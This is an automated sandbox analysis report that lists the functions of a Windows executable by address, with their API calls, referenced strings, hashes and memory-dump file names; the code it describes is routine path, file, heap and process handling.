API String ID: 3215553584-0
Opcode ID: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction ID: 1befe4a4177dd3b3873daa27a92c6d9d73791894762db0d4e42a47cfc4a13dbd
Opcode Fuzzy Hash: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction Fuzzy Hash: 6FC10162A0C6A7F1EB64BB1494402BE37AAFB92BC0F550131EA5D877D1CF7CE8558740

Function 00007FF6404E33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6404E3534), ref: 00007FF6404E3411

Part of subcall function 00007FF6404E29E0: GetLastError.KERNEL32(?,?,?,00007FF6404E342E,?,00007FF6404E3534), ref: 00007FF6404E2A14
Part of subcall function 00007FF6404E29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6404E342E), ref: 00007FF6404E2A7D
Part of subcall function 00007FF6404E29E0: MessageBoxW.USER32 ref: 00007FF6404E2ACF

Strings

Failed to obtain executable path., xrefs: 00007FF6404E341B
Failed to resolve full path to executable %ls., xrefs: 00007FF6404E3461
Failed to convert executable path to UTF-8., xrefs: 00007FF6404E34B8
\\?\, xrefs: 00007FF6404E3482
GetModuleFileNameW, xrefs: 00007FF6404E3422

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 38c06243298b15ed8099fe7993e28303999cab98f5eaaac513a8b9e0303a0545
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: A121A461B1C563F1FE25FB24E9553BA1260BF49395F800236DA6DC67D6EE2CE504C780

Function 00007FF6404F4938 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F4965
CreateFileW.KERNELBASE ref: 00007FF6404F49A4
CloseHandle.KERNEL32 ref: 00007FF6404F49D9

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction ID: b812c0209f54b6a60e057f1f873657876772e2061edb54fed5764d39b177f2ce
Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction Fuzzy Hash: BE41B062E1C79293F354FB6095503696266FBD47A4F109334EAAC83BD1EF6CA1E08700

Function 00007FF6404EBF5C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6404EC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6404EC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6404EBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF6404EBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6404EC041

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 4535f9a2bdabda74afa0a46e2157a74f4d229af8e152e6f74e7c852a6d44e2ce
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: 2B314D21E1C273E1FA54FBA495513B91382AF41389F440039EA5DCB7D3DE2DA9468781

Function 00007FF6404F8D48 Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6404F8D44), ref: 00007FF6404F8D59
TerminateProcess.KERNEL32(?,?,?,00007FF6404F8D44), ref: 00007FF6404F8D64
ExitProcess.KERNEL32 ref: 00007FF6404F8D73

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: 275b5b68ebe631f5b405311be8789fbbdaaaa0075aa6f363818cb514755840b8
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: DCD06C24B1C62AE6FB6C3B70599917D1226AFA9B55F10193CD85A8A393CE2CA8098340

Function 00007FF6404EF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF597

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
Instruction ID: ca09be03a7b31e671568cd9be017c4c4c3ddd44007bcefd41ad6f2076da691d1
Opcode Fuzzy Hash: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
Instruction Fuzzy Hash: C151F961B0D662E6FA28FE35940067A6281FF94BB8F144734DD6C877D5CE3CE4019760

Function 00007FF6404FB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6404FB5DD), ref: 00007FF6404FB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF6404FB5DD), ref: 00007FF6404FB49A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: 11897ebdb6b1aed41625d52ba5738dee62e4ce4432e9c10f9297da2409d0f1b7
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: E811C161B0CAA1D1DA10FB25A94416D6366EB45BF4F640331EEBD87BEACF3CD0508740

Function 00007FF6404F9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 0bccee64ff07e10a3435a72a9376a38827acb2b2b52508163820708f931c66c0
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: A9E04610F0C6A2A2FB0CBBF2A8841BA22A69F98704B004034CD1DC2391EE3C68858310

Function 00007FF6404F9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6404F9CE5,?,?,00000000,00007FF6404F9D9A), ref: 00007FF6404F9ED6
GetLastError.KERNEL32(?,?,?,00007FF6404F9CE5,?,?,00000000,00007FF6404F9D9A), ref: 00007FF6404F9EE0

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: ce65d005f3c599956d7377c05d52b6584ab2b91f09bd573bfdf45ccabada9453
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 7C219621F1C662A1FE94B7A1A59037D2297DF84798F044239DA2EC77D1CF6CA841C300

Function 00007FF6404FB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FB1E4

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: 9cf5907d01376cd0e5bb6381034db65cfcb815592214ca52d8606e2caa297b7a
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: 0441DE3290C221E7EA24BB59E95127D73AAEB56B84F140131DA9EC37D0CF3CE802C790

Function 00007FF6404E76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6404E774A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 8840c51cff740f457cb9f633435f9564d8ee93713ed93b20b8234af09ab3face
Instruction ID: 79de33e144b85122254a00d928d83cc061d4d76854a3312fe009ac64147d9609
Opcode Fuzzy Hash: 8840c51cff740f457cb9f633435f9564d8ee93713ed93b20b8234af09ab3face
Instruction Fuzzy Hash: 10219125B0C672A6FA10FB16A9047BAA641BF95BE4F884430EE4D87786CE7DF042C740

Function 00007FF6404FAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FACD2

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction ID: 05f3f1823e8e69add7a8ad172ae4d9fcce3b3ad2063d67eee3f14008919838cd
Opcode Fuzzy Hash: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction Fuzzy Hash: 7431E461E1C6A2E2F701BB1488413BD365AAF90BA0F420135DA2DC33D2CF7CE4918721

Function 00007FF6404F8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6404F8CA7

Part of subcall function 00007FF6404F8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF6404F8DC5
Part of subcall function 00007FF6404F8DA0: GetProcAddress.KERNEL32 ref: 00007FF6404F8DDB
Part of subcall function 00007FF6404F8DA0: FreeLibrary.KERNEL32 ref: 00007FF6404F8E02

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: 51d733b6250d5547d370224725a845e3b5ccf9c87fdbc428cb44c683dca630a9
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: D921AE32B19756DAEB24BF64C4402EC33A9FB44328F44063ADA2C8ABC5EF38D444CB50

Function 00007FF6404F52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5209

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: dc31aa50d951ef221e0474c8df62c83c772d02d4cbe8831db6819300e62d3fa0
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: 1A11A231E1C6A1D2EA60BF51940027EA3AABF95B84F454531EF4CD7B96CF3CE8408B54

Function 00007FF640505664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF640505687

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: eedf25f2b05d0655e21498cbdec18688e9d19f6df4cd42a0092cd8ddb62cc3eb
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: CD21C53260C68196DB65BF28D54037E72A1FB86B98F544234DA6D877D5DF3DD8008B00

Function 00007FF6404EF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404EF730

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: aefa84df2ba0a0cd2fca3bf567ad65d4562a04af02d94f99f3b79dd55db81223
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 7901C421A1C7A290EA04FF569900079A695FF96FE0F484631DE6C93BD6DF3CE4029340

Function 00007FF6404E81A0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

LoadLibraryExW.KERNELBASE(?,00007FF6404E5C06,?,00007FF6404E308E), ref: 00007FF6404E81C2

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
Instruction ID: 9c35eadd9dc4f6adfc24770bf99ed30d40ea9da551ffef3ce53d639e16dc83fc
Opcode Fuzzy Hash: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
Instruction Fuzzy Hash: 2AD08C11B2826191FE58FB77AA4A56951529BCABC0E488034EE1C43B46DC3CC0804B00

Function 00007FF6404FC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6404EFFB0,?,?,?,00007FF6404F161A,?,?,?,?,?,00007FF6404F2E09), ref: 00007FF6404FC94A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: f521ba59cfb01d67be82970a1102318cebdaaca2b8441e20f092a82f209aff6b
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: 36F01251F2D267E5FE5876B15A51BB9128A9F84774F084630DD3EC53C1DEACA5418310

Non-executed Functions

Function 00007FF6404E79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7A1B
RemoveDirectoryW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7A9E
DeleteFileW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ABD
FindNextFileW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ACB
FindClose.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ADC
RemoveDirectoryW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7AE5

Strings

%s\*, xrefs: 00007FF6404E79E2

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

